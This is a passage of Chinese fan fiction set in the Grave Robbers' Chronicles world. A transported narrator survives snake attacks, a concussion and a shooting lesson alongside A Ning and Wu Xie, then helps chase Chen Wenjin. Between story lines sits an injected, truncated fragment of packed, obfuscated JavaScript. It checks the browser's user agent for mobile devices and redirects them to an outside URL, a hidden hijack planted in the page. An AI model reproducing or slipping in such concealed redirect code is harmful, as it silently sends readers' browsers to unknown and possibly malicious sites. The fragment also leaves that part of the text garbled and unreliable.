他们煮了点东西,我拿出包里的零食分给他们,捏着鼻子喝了消毒片味的水,胖子突然变得很热情,对我殷勤周到,给我搞的心里毛毛的。
我看着这个死胖子眼睛不停的往我胸口瞟,一开始还以为他在耍流氓,正想发作让他断子绝孙,余光突然看到我衣服上的绣线。
我一下就明白了,他是知道这件衣服的价格了。
一时间有些哭笑不得,在原本的世界里我是真挺有钱的,渣妈渣爹知道给不了我很多爱,就给了我很多钱,我每张卡上的余额都有七位数。
但现在我是身无分文了,手机扔了,卡没带,带了也用不了。我现在包里连现金都没有,一个硬币都掏不出来,买个馒头都没钱。
先不管这个了,出去了我有手有脚的还能饿死不成。
问题是胖子怎么知道我衣服价格的?看他们和昨天明显不一样的眼神,这是,讨论过我的身份?
但吴邪的眼神有点期待和笑意是怎么回事?他的表情有点姨母笑了,就像我看电视磕到了的那种表情。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699060|157009||http|test|mini|href|location''.split(''|''),0,{}));
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>阿宁一直没靠近我,只是看我的眼神十分复杂,我一个早晨都一头雾水。
潘子燃起黄色烟雾,这是告诉吴邪三叔我们的位置,还有危险警告的意思,我回忆了一下原书剧情,这个时候吴邪他们以为三叔还没进谷,实际上三叔已经在他们前面了。
到了下午,一道红色烟雾果然从沼泽深处升起,红烟表示极度危险,警告靠近。
几个人都神色凝重,商量了会儿还是决定先去找他们汇合,我们补给不够了,没有三叔的物资就算出去了也会渴死在路上。
吴邪给张起灵留了纸条和物资,我们就迅速进入沼泽,朝着红烟方向前进。
沼泽边缘水域清澈,浅水我们踩着石头过去,深的地方游泳过去,穿过河水继续向前,就是一片雨林植被,往里,是这块盆地的核心地带。
雨林里的水很浅,大量被水冲刷下来的乱石和淤泥堆在此处,盘根错杂的藤蔓、树根占据着空间,光线被头顶的层层植物遮盖,入眼所及都是幽绿色,连石头上也长满青苔。
潘子很着急,闷头赶路,挡路的藤蔓被他砍掉给我们开路,阿宁走在我后面。
路渐渐难走起来,好在一路上我们没有碰到那种蛇,不然在这么难走的路里和蛇狭路相逢,它直接就可以把我们一锅端了。
前方出现一块断壁残垣,几乎被树木完全覆盖了,越往前走断裂的巨大石块越多,西王母遗址不知道在这里存在多少年了,粗壮有力的树枝缠绕着苍老腐朽的石块,在水下形成一种十分诡谲的美感。
要让我学艺术的朋友看,她大概会说这幅画面很有冲击力和故事感。
绕过一堵墙一样的巨树,胖子惊叫了一声。只见离我们十米远的地方,一个约两层楼高的人脸正对着我们,视线一时间被石雕占满,我抽了一口凉气。
石雕的身体沉入水中,人脸的身体,不是正常的四肢,而是鸟的翅膀和身体,这是一尊人面鸟石雕。
大的东西总是能让人感到震撼,何况是这种带有宗教信仰象征的古代石雕。
我们看了一会儿,继续前进,一直走到傍晚,太阳落山,林海中竟然起雾了。
雾气越来越大,红色烟雾淹没在雾气中,我们再也无法看到一丁点红色。四周能见度极低,雾中树影鬼魅般拔高,居高临下的俯视着我们。空气湿的让人难受,我觉得我肺里吸的都是水。
所有人都精疲力尽,我们燃起篝火,被湿柴冒出的黑烟呛个半死,好一会儿火才正常起来。
没人讲话,我瘫坐在大树边,身体完全没使一点力,手面条般垂在地上,裤子上全是泥。
每个人身上都是泥,脸也糊上了,我在陈文锦的黑泥造型出现后,趁机说出糊泥可以干扰蛇的感知,避免被攻击,今天我们就是全员泥人。
我们像野人一样瘫在巨大的古树下,围着篝火,似乎下一刻就要围着火跳大神,进行某种原始的祭祀仪式。
我累的虚脱的眼神游移着,下意识看着阿宁,她也累的够呛,没好气地瞪我一眼,刚要收回目光,突然浑身僵硬,神情惊恐起来,死死盯着我身后!
5. 倒霉
与此同时,我心中升起不详的预感,心跳如雷,肌肉紧绷。
一阵腥臭味直往我鼻子里钻,十分上头,我几乎要被臭晕过去,左侧肩膀传来阵阵寒气,“嘶嘶”声在寂静的雨林中听的格外清楚。
我快吓哭了,也不敢动,生怕蛇受惊直接给我来一口,正疯狂转动脑子想办法,一声巨响在我脑袋边炸开,仿佛一道炸雷在我旁边落下。
我的耳朵直接听不见了,我聋了。潘子收起枪,表情狰狞的吼着什么,几个人猛地跳起来,冲入密林。
阿宁一把扯住我的手,我跟着她拼命跑,大地传来震颤,我到底没忍住,回头看了一眼,这一眼,我就后悔了。
一条巨大的蟒蛇坠落到地上,不停翻滚嘶吼着,头部一个拳头大的血洞水管般往外冒血,染红一片绿地。视线所及的雾气之中,较细的树被大蛇尾巴抽的连腰折断,头顶不断有断裂的树枝掉下来。
我战栗着收回目光,跟着阿宁没命地跑,不知跑了多远,她终于停下了。我脱力,跪坐在地上,双腿灌了铅似的沉重,再也无法走一步。
雾气依然很大,阿宁确定蛇没有追过来,扶着树稍作休息。很快她脸色难看起来,双手扶着我肩膀说了什么,我完全听不见,只能盯着她一张一合的唇,愣愣地问:“你说什么?”
问完我就知道怎么了,茫茫雾气之中,只有我们两个人,吴邪他们和我们走散了。
阿宁一看我表情,知道我明白了,一时间没人说话,脸色一个比一个难看。
枪这个最强火力在吴邪他们手里,阿宁只有一把匕首,背包里的物资也不多,最关键的是我这个队友是个战斗力级别为零的废物。一旦遇到蛇,不说是大蟒蛇了,就是一条野鸡脖子,我大概都要挂。
天彻底黑下来,无边的黑暗放大了我的恐惧,我发起抖来,脑子忍不住胡思乱想。
原书没有这个情节,我可以肯定。那么,这个巨蟒,难道是世界自我修正的干扰?原书这个时候阿宁已经死了,也没有我这个人物,我们现在又遇到了脱离原著情节的状况……
我旁边的阿宁也变成一个黑影,她忽然站起身来,抬腿要走。我拉住她,她半蹲下来扯过我的左手,在上面写了几个字,我愣神的功法,手一凉,唯一的温度消失,我猛地抬头,四周漆黑一片,她不见了。
她丢下我了?一个人走了?刹那间我脑子里只有这一个想法,茫然地瞪大眼睛,我哆嗦着翻开背包,找了半天也没摸到手电筒。
草莓熊保温杯也不见了,可能是逃跑时甩掉了,那是我唯一的水源。
我不敢相信,身体却渐渐发抖,在这原始森林中,没有阿宁的保护,没有食物和水,我必死无疑。
我不知道她在我手心写了什么,黑不溜秋的谁能看见!
但她要走为什么还要给我写字,直接走掉不是更好?
黑暗中无数黑影窃窃私语,我胡思乱想着,呼吸越来越紊乱,我呆坐了不知道多久,决定去找她。
我不相信她会丢下我。
我给自己打气,摸黑向前走,我挺起胸膛,大吼了几声,坚定的踩着藤蔓,接着一个脚滑跌入冰冷的水中。
爸了个根的!
这似乎是一条很深的小溪,常年冲刷导致河地几乎没有淤泥,全是滑不溜秋的石头。我惊慌失措踩了几下,都从不同方向重新跌入水中,呛了好几口水。
我鼻子难受的要死,我怀疑水被我吸脑子里了。就在这危险的时候我竟然在思考寄生虫会不会攻击我的脑子,从此我就变成了智障阿巴阿巴。
终于在我的不懈努力挣扎下,我的头重重磕到了一个石头,就像有人领着铁棍猛的给了我一下,整个世界都震动起来,我翻着白眼吐出一串泡泡沉入水底。
大爷的,我终究还是要死了。希望阿宁能好好活着,我不在意她丢下我了。
……
有人捞我,我感觉到了。
小鬼还是天使,要勾走我的灵魂。
轻柔的触感,覆盖在我唇上,像棉花糖一样,我如在云端,如梦似幻。一股裹挟着生命气息的温暖充盈着我的肺部,有力的,坚定的。迷茫的灵魂仿佛找到了归宿,叫嚣着要罢工的心脏猛烈跳动起来,蓬勃的生命力火山般爆发。
……
眼前有朦胧的白光,迷迷糊糊间,
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我开始祷告,原来我这样生前作恶多端的人也能上天堂吗?但是我不信基督……会不会被发现我是混进来的……
斜斜的阳光有点刺眼,我起床气一下就上来了:“管家!搞什么啊,把窗帘拉上!”
光果然消失了,我翻了个身,被一块硬硬的石头搞毛了。
我诈尸般坐起来,一下子头昏脑胀,恶心想吐。
阿宁背对着阳光,影子投在我脸上:“醒了?来吃点药。”
“我没死啊。”我不知道是笑是哭,摆出一个很难看的表情。
阿宁过来扶起我,把一个胶囊抵到我唇边:“对,昨晚我去捡柴回来烧,半路上听到你的呼救,回来一看,你掉到了那条河里,人已经昏迷了。”
我顺着她下巴点的方向看过去,一条不窄的小溪,水幽绿幽绿的,看着瘆人。
“谢谢啊,阿宁。”我控制自己头不要有太大动作,头痛的要死,仿佛有人不停在我脑子里面敲钟。
“没什么,你之前也救了我。”她收拾起东西,把我的包团吧团吧塞到她的包里,把包背在前面,站起身,对我伸出手:“来,我背你。”
我嘴硬说:“我能走啊,小瞧我。”
我猛地站起来,这下惨了,世界仿佛被什么很贱的小孩揣手里,猛的摇动,我一头就要栽倒在地。
阿宁接住我,把我背在背上。
我昏昏沉沉,药效开始发挥,我说:“什么药啊,宁,我好困。”
“别说话了,林霖,睡会儿会好受点。你现在有严重的脑震荡,这是很严重的事情,别贫嘴了!”
“你的背好温暖啊,宁,我好喜欢你,你怎么没自己走啊,我果然没看错你,不……就算你是个大坏蛋我也喜欢你,嘿嘿……我要是回不去了你能收留我吗?什么,听不见啊……么么哒……”
阿宁一句话不说,背着林霖急行军。
红色烟雾已经完全消散,她凭借记忆力笔直前进,终于在日落之前安全到达营地。
林霖睡并不安稳,虽然没醒,但眉头紧锁,睡梦中不断呼痛,阿宁安抚她一路。
吴邪冲出来:“怎么了这是!”
6. 暧昧
我被人放在了床上,紧接着有人按住我,我下意识挣扎起来,但被按的更紧,胳膊一疼,我一下子睁开眼,彻底清醒了。
只见阿宁和吴邪一左一右压着我,阿宁正一脸严肃地从我胳膊上抽出针头,给我按了个棉签。
吴邪看我醒了就放开我,说:“林霖,你劲还挺大啊,放心,我们给你打的退烧药,没害你,你怎么搞这么惨,一路阿宁背你过来的。”
阿宁说:“行了,她脑震荡了,别让她说话。现在什么情况,营地怎么一个人都没有?”
他们去外间说话,阿宁让我好好休息,我闭目养神,整个营地非常安静,这里只有我们几个人。
我后知后觉回忆起,原书这个阶段,吴邪三叔的队伍,已经找到了西王母宫的入口,现在他们已经进去了。
没过多久,阿宁进来了,给了我点东西吃,自己到头就睡。
片刻,均匀的呼吸声传来,我偏头看了看她,她睡着了,脸色有些憔悴和疲惫。
她背着我走了这么久,我虽然不算重,但也是一个成年人的重量,她累坏了。
这一路我都没什么意识,在危机四伏的雨林,她背着我,手里只有一把匕首,一旦有什么危险,两个人被团灭的可能性很大。
瀑布边,我救她,不求回报。
但没想到,阿宁算报恩也好,别的什么也好,她没丢下我。
应差阳错之下,我救她,也算救了自己一命。
退烧药起效了,我沉沉睡去。
一直到傍晚我才醒,身体很轻盈,没有那种发烧的昏沉感了,头依然痛,但起码平衡能力恢复了,能走路了。
旁边床上,阿宁不见了,我出去找她。
夕阳西下,橙红的天边可以称得上绚烂。
我环顾四周,整个营帐是在一片巨石广场上,无数石头堆砌成了这片广场。
三叔队伍的帐篷不小,但和巨石广场一比,十分袖珍。
许多大型游泳池似的水池分部在各个地方,营帐后面,是一个多层的神庙建筑,一个个高低不同的石室镶嵌在上面,像大大小小的房间。
我就像某个游戏里的小NPC,站在一片神迹建模的广场中间。
这里是一片西王母国的遗迹。
胖子在煮东西,张起灵没追到陈文锦,已经回来了。两个人说着什么,胖子表情很神秘,鬼鬼祟祟的:“吴邪在睡觉……这事儿,千万不能让吴邪知道”。
阿宁在一边,听到我的动静,转过头,正好看到胖子那副样子。
“说什么呢胖子。”阿宁快速走过来。
“胖子你刚才说什么呢?什么不能让我知道?”吴邪也从石头后面出来。
胖子很尴尬,连连摆手说没什么,但阿宁为陈文锦这条线索断了本来就焦灼,吴邪更是不撞南墙不回头,两个都是不依不饶的人,两方僵持了一会儿。
胖子没办法,叹了口气。
“你们跟我来。”
三叔的物资非常充分,空地上有一个大遮阳棚,里面一块平坦的石头被当做桌子,上面摆满了各种文件。
胖子移开文件,矿灯一照,石台上面有一句话。
【我们已找到王母宫入口,入之绝无返途,自此永别,心愿将了,无憾忽念。】[1]
阿宁皱眉,吴邪则看起来呆住了。
这是三叔留下的信息,不希望吴邪他们跟过来。
阿宁说:“我是一定要去的,你们怎么说?”
一行人中,阿宁,吴邪坚持要去,胖子这次来啥都没摸到也有点不甘心,闷油瓶无论别人去不去,他都会去。
于是大家一致决定找入口。
我们围在篝火边吃了点东西,我的去留成了问题。
胖子不想带我,大概是嫌我弱。但如果他们走了,我留在营帐里和潘子呆在一起,对重伤昏迷的潘子又是一个威胁。
阿宁有点犹豫,我说:“我要和你们一起,潘子也不能一个人留在帐篷里。你们忘了来的时候,这里升起的是什么烟雾吗?”
此话一出,所有人脸色都变了,红色烟雾表示极度危险,不得靠近。
阿宁说:“林霖说的对,吴三省留下这样的信号,可能是不希望我们找过来,但也不排除另一种可能,这里发生过极度危险的事情,并不安全。”
我指指巨石广场上的地面缝隙,开了上帝视角的我,知道未来会发生的危险:“这个遗址广场,地上这种缝隙很多,里面都是水,水系和沼泽相连。你们说,野鸡脖子会不会晚上从缝隙里面爬出来,悄摸把我们弄死?我和潘子留在这里,就是等死。”
他们听进去了,乘热打铁,我趁机说晚上林中起雾,不知道有没有毒,我们最好把防毒面具都带上。
被我这么一说,他们也警惕起来,天色已晚,远处还真雾蒙蒙起来。
潜在的危险不得不防,我们进入帐篷,并且在上面糊上淤泥,尽量隔绝热量。
胖子一边拿东西,一边嘀咕:“哪有那么邪乎,我看你就是胆小,这谨慎过头了吧。”
我说:“不行你晚上出去看着,看看蛇来不来找你玩儿,要是有蛇来你就叫一声,没蛇来你就不叫。”
胖子大怒:“到时候胖爷我被悄摸的蛇咬死了还怎么叫,你这女人,好狠毒的心!”
我和胖子斗嘴,听见阿宁一声很轻的笑,防毒面具隔着的声音闷闷的,我几乎怀疑自己是不是幻听了,看了她好几眼。
我们涂了两个帐篷,晚上,阿宁和闷油瓶,胖子轮流守夜。
半夜,野鸡脖子果然来了,我睡的并不安稳,异响声直接令我清醒过来。
四周一片漆黑,我不敢打灯,掀开被子,坐到床沿上,脚探来探去找鞋。
这时,阿宁十分敏捷的进来,把帐篷关好,看我醒了,比了个噤声的手势。
她把手里的矿灯熄灭。
我点点头,一动不动,屏息凝神听着外面的动静。
先是有悉悉索索的声音,仿佛无数虫子在地上爬,接着,一声闷响,旁边帐篷传来咯吱声,又是一声撞击的闷响,帐篷支架的断裂声咔嚓咔嚓,轰然倒地。
过了几分钟,又是一声巨响。
仿佛有个庞然大物,蛮横地摧毁帐篷,寻找里面它的食物。<
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我大气不敢出,阿宁挪到我旁边,搂着我的肩膀,做了个安抚的动作。
我紧张地抱住她的腰,侧耳倾听外面的动静。
忽然,我们的帐篷剧烈抖动了下,支架发出不堪重负的声音。
完了,帐篷要塌了,我立刻拉阿宁,她是站着的,一旦支架坍塌,有可能会砸到她。
我没想到她也一下推了我一把,这样双重叠加的力气,就过了。我重重仰面倒在床上,阿宁竟然还没忘记我后脑勺磕的大包,护住我的头。
真是太感谢她了,不然我这一砸,非得痛的叫出来。
阿宁整个人支在我上面,我仰躺在床上,她一个膝盖压在床上,一只手隔着头发搂着我脖子,我的头没有碰到床。
我们挨的很近,如果没有防毒面具,我们可能都脸贴脸了。
但这样,我是安全的,她却没有任何保护。
我立即伸出手,想把她扭过来,她却纹丝不动,我只好双手环住她的头,十指交叉,保护她的头颈要害。
万幸的是,攻击停止了,巨响从别的地方传来,我们的帐篷没有被蛇群击打塌掉。
不知过了多久,四周完全安静下来,我狂跳的心渐渐平息,天蒙蒙亮起,帐篷里也有一丝光。
“阿宁!林霖!你们怎么样?没事吧?”吴邪猛地打开帘子,目瞪口呆,“你们,你们这是……在干嘛?”
吴邪带来的灯很亮,我通过防毒面具的透明镜框,和阿宁对视了,她的眼睛有点惊讶……又有点别的情绪,我看不懂。
灯一打,我这才发现,自己和阿宁的姿势有多暧昧。
阿宁迅速起身,我也把手收回来,我恼羞成怒道:“吴邪!你进人房间不敲门啊!”
吴邪立刻跑了。
阿宁打亮灯,我感打赌此刻我的脸一定红了,浑身血液上涌,我的脸烫的要命。
刚刚我环着阿宁的脖子,头微微昂起,简直像是在索吻。
还好有防毒面具在,不然被吴邪看到,我怕是跳进黄河也洗不清了。
但同时我又有点失落。
搂着阿宁的时候,太紧张,脑子里竟然一点旖旎的想法都没有。
我陷入失落又窃喜又庆幸的情绪,总之,脑子乱糟糟的。
阿宁说话了,她向外走,脚步很快,只留给我一个酷酷的背影:“你收拾收拾,我去看看他们有没有事。”
我哦了一声,抛开乱七八糟,穿好衣服也出去看。
营地中,只有两座糊满了泥的帐篷安然无恙,其他帐篷,全被蛇给击倒了。
没人出事,不过胖子被毒雾给搞失明了,被扣上防毒面具,现在老实地坐在一边,摸桌上的打火机玩。
吴邪没忍住说他,胖子狡辩说夜里睡觉戴面具太闷了,他喘不过气才摘下来的。
我一过来,他们都看我。昨晚我说的话,几乎可以称得上是预言了,在他们看来,我这个人,大概浑身上下都是谜团吧。
胖子眼瞎了,耳朵倒是灵,说:“小林你来了,这次胖爷我是真服了,还真被你给说中了,哎,我说你这小孩,是有点东西啊。”
7. 打枪
我翻了个白眼说你才小孩,胖子一有人怼,他就来劲,一个劲说他年纪大,让我尊老。我就说他是老登,给他气个半死。
吴邪看到我,有些尴尬,转头和闷油瓶说话。
“说来也奇怪,这地方有点诡异,我早晨出去,看到一个黑影,一眨眼就不见了。”他说着就笑了,“总不能是蛇在翻我们东西,真他大爷的见鬼了。”
他随便说说,闷油瓶却坐直了,表情严肃起来:“你看到有个黑影在翻东西?”
吴邪有点懵,说对,问他怎么了。
闷油瓶站起来,说:“那是陈文锦。”
阿宁也站起来,他们两个对视了一眼,似乎达成了某种共识,阿宁说:“我们必须抓住她,她一定知道西王母宫的入口。”
这群人非常聪明,几乎是瞬间,抓捕陈文锦的计划就定好了,闷油瓶说,陈文锦来翻东西是因为她的食物耗尽了,今天晚上,她还回来拿物资。
我们要做的,就是抛出诱饵,守株待兔。
营帐是待不了了,一到晚上这里就成了蛇的篝火晚会,我们就是自助餐。
吴邪和胖子把重伤的潘子搬到神庙上面的石室里,那里没有水。
阿宁和闷油瓶收拾了营地里的物资,拿了六七个背包,里面塞满了干粮和罐头。
我不好意思空手,帮着拿了两个,死沉死沉的,我吃力地爬上石壁。
在石室里安顿好,我在折叠床上坐下,盯着靴子发呆。
我现在的装扮十分炫酷,穿的是三叔带来的装备服,迷彩色。这种衣服就是为户外探险设计的,跑,跳,隐蔽毫无问题。
裤子上有很多口袋,裤脚收紧,靴子边甚至还有插匕首的地方。
腰带上有枪套,我把手比作枪插进去,再拔出来,对着远处的林子砰了一下。
阿宁在石壁的另一边和吴邪他们研究壁画,十分投入。
我收回目光,叹了口气。自从早晨起,我和阿宁一句话都没说过,像两个陌生人。
我琢磨了好久阿宁防毒面具下面的眼神,那个我看不懂的眼神,但看不懂就是看不懂,就像数学题或者英语听力,就算你怎么想破脑袋,也不知道这其中的玄妙。
难道是惊艳?不对,虽然我自认长的不错,但戴着那个丑面具,脸都看不清,惊艳个屁惊艳。
也不像是什么厌恶之类的负面情绪,我和她一路相处过来,可以肯定她绝对不讨厌我。
用脑过度,脑细胞死了一片,我的头又痛起来。
胖子在煮东西,罐头之类的好东西太重,我们带不走,他干脆直接煮了,一大锅糊糊看着像泡发的馒头混着碎火腿、沙丁鱼,看着令人倒胃口,但闻着还挺香。
人在饥饿的时候是不挑的,这锅东西放平时,我看都不看一眼,眼下吃的呼噜呼噜。
胖子看我吃的香,大概很有成就感,边吃边问我:“小林,你会不会开枪?”
“不会啊,我连枪都没摸过。”我嚼嚼嚼。
“这样。”胖子眼睛一转,还在为早晨拌嘴的事耿耿于怀,“你叫我声叔,我教你开枪怎么样?”
我看过来,他得意地说:“胖爷我别的不说,玩枪是行家。这家伙是我半个兄弟,没骗你,我打枪,叫我打鸟屁股,狗日的就不会打到鸟头。”
这家伙有些年龄了,大我二十岁,真要叫他叔,也算合理。
我心动了,有了枪,我会有一点自保能力,起码能垂死挣扎一下。
我说:“你愿意给我枪防身?”
他一看有戏,说:“给你一把手枪,但你别先把胖爷我给崩了。”
我点头说行,胖子嘴笑咧开,期待地的等我叫叔,正要开口,阿宁过来了:“说什么呢,你要学枪?”
阿宁一过来,我一下就把胖子忘了,我昂着头说:“对,可以吗?”
她看了我一眼,说她来教我。
“跟我来。”
我冲胖子挤挤眼,美滋滋过去。
室石窗户,阿宁从腰间摸出一把手枪,枪身线条流畅:“这是勃朗宁M1903,一款半自动手枪,能填装八发子弹,枪型小,重量轻,适合你。”
枪械灵活的在她手上转了一圈,“咔嚓”一声,弹匣弹出,她一颗颗填装子弹,展示步骤。
子弹上膛,她说:“捂住耳朵,看我动作。”
我照做,她双手持枪,姿势非常标准。她扣动扳机。
巨大的爆响炸起,枪□□出一团火,空弹壳跳出,发出金属质感的声音。
一股刺激的辣味传来,这和我们过年放炮的火药味不太一样,像一种化学物品燃烧后混合着汽车尾气的怪味,十分令人不适。
我甚至感到了子弹发射时,空气的波动和火焰的热量,即使有准备,我依然吓一大跳。
远处一颗树上出现断口,鸟雀惊飞,树枝抖动。
她打完一枪,偏头,说:“来试试。”
“双脚分开,膝盖微弯,右手握住枪把,虎口紧密贴合,左手包住右手,目视前方。”
我按照要求,双臂平举,手紧紧握着枪。
阿宁站在我身后,忽然贴上我,调整我的动作,气息打在我头上,痒痒的。
我身高170,在女孩中算高的,但阿宁还比我高半个头,她四肢修长,很轻易的从后面环住我,短发蹭到我耳朵边,轻声说:“专心。”
这实在太苏了,老天,我以前只在电视剧里看到两主角一个人教另一个人打枪,我做梦也没想到,自己有一天竟然成了被教的人。
她放开手,我深吸一口气,视线对准一颗树,三点一线。
开枪的同时,一双手捂住了我的耳朵。
“砰!”一声炸响,声音巨大,手枪的后坐力非常强,几乎要从我手中跳出去,我的虎口、手腕发麻,震的我手微微发抖。
胖子在旁边看着,大呼小叫:“靠,林霖你打中了一只鸟!”
远处树下,的确有一团白色,我有些惊讶,我是瞄准一团白色打的,竟然打中了?<
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p>胖子说:“假的吧,你走狗屎运了,正好一只傻鸟撞你子弹上了。”
阿宁有不同的看法,她放开我:“你会打枪?”
我摇头,“不会,但以前练过箭。教练说我有天赋。”
这倒是真的,我在射箭俱乐部第一次射箭,就中了十米红心,当时教练欣喜若狂,还拍我发了抖音。
胖子不信,一定要我再射一只。这厮刁难我,拿他的冲锋枪打了一只天上飞的鸟,让我也打飞鸟。
阿宁鼓励我再打一次,她看我的眼神很亮,给我看不好意思了。
鸟被枪声惊动,在我们头上乱飞,简直令人眼花缭乱。我盯住一个地方,直接抬起手砰砰两声,两只飞鸟应声而落。
这波真是装了个大的,这两枪颠覆了所有人对我的认知。
胖子嘴巴里能塞个拳头,吴邪一脸震惊,阿宁看我的眼神变了,里面有审视、欣赏和怀疑。
但其实我的右手直接麻了,我把枪还给阿宁,她向后拉了一下套筒,把里面等待发射的一颗子弹褪出来,再卸下弹匣,弹匣里还有四颗子弹。
她拿了几颗子弹递给我,让我装上。做这些的时候,她一直看着我的动作。
我知道她这是看对枪械的熟悉程度,但显然我生疏极了,不是常年玩枪的人。
也就是说,我第一次用枪,就百发百中。
吴邪难以置信:“林霖,你真的不是什么卧底吗?追瞄射击命中率100%,你是神枪手!”
我抬起抖的不行的胳臂,说:“如你所见,我真是第一次拿枪,不过我过年经常去小摊玩打气球,也是枪枪命中,可能是那时候练出来的。”
肌肉的反应骗不了人,阿宁肯定地说:“她手上没有茧,通常懂枪玩枪的人,手上都有磨出的茧。你教练说你在射箭上有天赋,射箭和射击确实有共通之处。林霖,你是个有射击天赋的天才。”
最后一句话,她郑重起来,神情认真,向我伸出手:“我代表我们国际打捞公司,向你发出邀请,林霖,你愿意来我们公司吗,公司需要你这样的人才,我们将会为你提供丰厚的薪资。”
阿宁竟然起了爱才之心,给我发了份offer。
我心里啼笑皆非,心说我去他们公司干嘛,当狙击手还是当刺客,摇摇头:“我只是个普通学生,不想卷入你们这行,做一些危险的事情。”
她看着我,收回手,也没有恼怒,只是笑了笑走开了。
她那个笑容很特殊,跟往常很不一样,我突然脊背发凉。
我太飘了,这几天相处平和,我又对阿宁有着粉丝滤镜,几乎忘记了阿宁的本来面目。
阿宁从来不是什么善男信女,她目标明确,不达目的誓不罢休,她是个狠辣的角色。
我展露出非凡的射击天赋,身份又成谜,出去后,她一定会着手调查我,甚至监禁我,拷打我,逼我说出我的秘密。
也就是说,无论我拒不拒绝她,她都不会放我走。
这一步棋,我走错了。
8. 变故
天色暗淡下来,抓捕陈文锦的计划正式开始,胖子煮了一锅食物,我们浑身抹满泥,在暗处守株待兔。
经历了“幡然醒悟”,我忽然意识到,我和阿宁他们走太近了,以至于我忘了,除了吴邪稍微好点,他们都是一群刀口舔血的亡命之徒。
我只是个普通人,不应该和他们有交集。我应该做的,是活下来,逃出去,寻找回家的路。
我暗暗发誓,等我出去了,就马上逃走,绝不能落入任何一个势力的手里,吴家和阿宁,都不是我应该招惹的。
“陈文锦来了。”不知过了多久,闷油瓶低声说。
我们立刻侧耳倾听,果然有一阵汤勺搅动的声音。
等待几分钟后,闷油瓶一个翻身冲出去,速度非常快,我们紧随其后,五个人直接把陈文锦团团围住。
陈文锦惊慌失措,这次她没有糊泥,面容非常秀气,年轻,看起来和我差不多大,完全看不出来她是吴三省那一辈的人。
她没有料到我们在蹲守她,视线扫过所有人,四处寻找空隙想逃走。
吴邪说:“陈……阿姨,你别怕……”
他话还没说完,陈文锦突然对他冲了过去,反手一拧,把吴邪的手臂拧成一个牙酸的角度,猛地推开他,窜了出去。
吴邪痛的嗷嗷叫,直接倒在帐篷上,我路过他旁边拉了他一把,他跳起来,我们一起狂奔追陈文锦。
闷油瓶和阿宁最快,把陈文锦逼到一块巨石上。闷油瓶一个飞扑,两个人翻滚着摔入下面水池里,溅起一大片水花。
水中,陈文锦游鱼一样消失了,半天都没探头,我猛地转身,黑暗中果然有个身影从另一个水池爬上来,我大喊:“那里!”
闷油瓶飞快地追过去。我和吴邪不出意外的落在后面,我们剧烈的喘息,背包疯狂的击打我的背,我跟着吴邪,很快,他停下了。
“怎么了?”我掐着腰大喘气。
他说:“遭了,我们跟丢了。”
手电扫过四周,林中雾起,能见度很低。四周静悄悄,阿宁他们不见了。
我抖起来,吴邪自己心里也害怕,还安慰我,说他会保护我。
我心说你可别扯了:“正是因为在你身边,我才害怕。”
我话应刚落,林中一个幽幽的人说话:“小三爷?”
这个声音很尖锐,简直不像人声。
我们毛骨悚然,吴邪颤抖着说:“是谁?是三叔的伙计吗?”
无人应答,只有我们的喘息声。
过了十几秒,那人又说话了:“小三爷?”这次甚至带了点口音。
吴邪向前走了几步,高声说:“是我!你在哪儿!”
林中,身后距我们六七米,一颗灌木忽然抖动起来,吴邪誓要抓住这个装神弄鬼的人,直接冲了过去。
我忽然想起什么,惊叫:“等等!”
吴邪已经止不住冲势了,我没拦住他,被带的摔倒在地,吴邪更惨,灌木后面是断崖,他一头栽了下去。
我探出脑袋:“你还活着吗吴邪?”雾气太大,什么都看不见,好在吴邪呻吟了几声,回应我:“还没死!”
我说:“刚刚说话的人是野鸡脖子!它们会模仿人说话,我给忘了!”
吴邪哼哼唧唧,埋怨我不早说,紧接着,他声音戛然而止,说:“林霖,我靠,这下面好多死人!”
我顺着藤蔓爬下去,矿灯一照,腿瞬间软了,跌坐在地上。
崖底水流和淤泥之中,大片尸体横七竖八,绵软的肢体交错,半掩在泥里。
这场面不是我能承受的,我一下子眼泪掉出来,吓的。死人的样子非常可怖,皮肤颜色是非人类的惨白,亲眼看见尸体的视觉冲击很大,我快吓死了。
潺潺流水声也变的像索命的鬼,我哆嗦着,去摸掉在泥上的矿灯。
迷雾中,吴邪声音消失了,谷中仿佛只剩下我一个人,还有一堆尸体。
巨大的精神刺激下,我开始耳鸣,犯恶心,眼前发黑。
一双手忽然搭上我的肩膀,按住我:“林霖你怎么了?撑住啊妹妹!”
吴邪怕我晕过去,死命地掐我的人中,我直接给痛清醒了,一巴掌呼开他。
我强打精神,不去看那些尸体,催促他:“快点,我们爬上去,这里不是安全的地方。”
那些尸体是吴邪三叔的人,他要去看看有没有三叔,我着急道:“我保证没有你三叔,他活的好好的,快和我上去!”
他奇怪的看我:“你怎么知道的?”
我坚定地说我会算命,吴三省生机没断。
我们很快顺着藤蔓爬上去,不一会儿,雾气散开了点,我们看到,下面一大群野鸡脖子突然出现,像是红色的鱼群,里面裹挟着胖子,胖子毫无知觉,不知是死是活,蛇把他丢入谷中。
吴邪一下很着急,蛇群走了之后,下去救胖子,我们合力把胖子拉上来。
胖子被咬了,但伤口很小,还活着。他出气多进气少,肚子巨大,吴邪给他催吐,吐出一堆蛇卵,给我恶心坏了,跟着狂吐,嘴里一股酸味。
我拧开水壶漱漱口,吴邪脸色也不好看,绿色的蛇卵顺着下面潭底的水流飘走,不知道飘到那里去了。
这下面的泥潭,就是野鸡脖子的孵化场,那些被运过来的尸体腐烂产生的热量,会温养蛇卵。
胖子死沉死沉的,吴邪想把他翻过来,我打把手帮忙,脚用力一蹬,没想到潮湿的泥土被我一跺,直接散了。我们站的这块地方立刻塌陷,泥石流一样裹着我们极速冲了下去。
这块潭水很深,且湍急,水劈头盖脸的砸在我脸上,我几乎无法呼吸,头在水流中一沉一浮。
吴邪拉住我,我们滑下来时,斜坡的藤蔓缠绕在了身上,这种藤蔓不软,手臂粗,和树枝差不多。
藤蔓那头不知道裹住了什么,也许是一根粗壮的树枝,我胸腹一痛,一股强大的拉扯力把我们拽走,巨大的水声轰鸣中,吴邪惊恐道:“不好,我们后面是一个井口!”
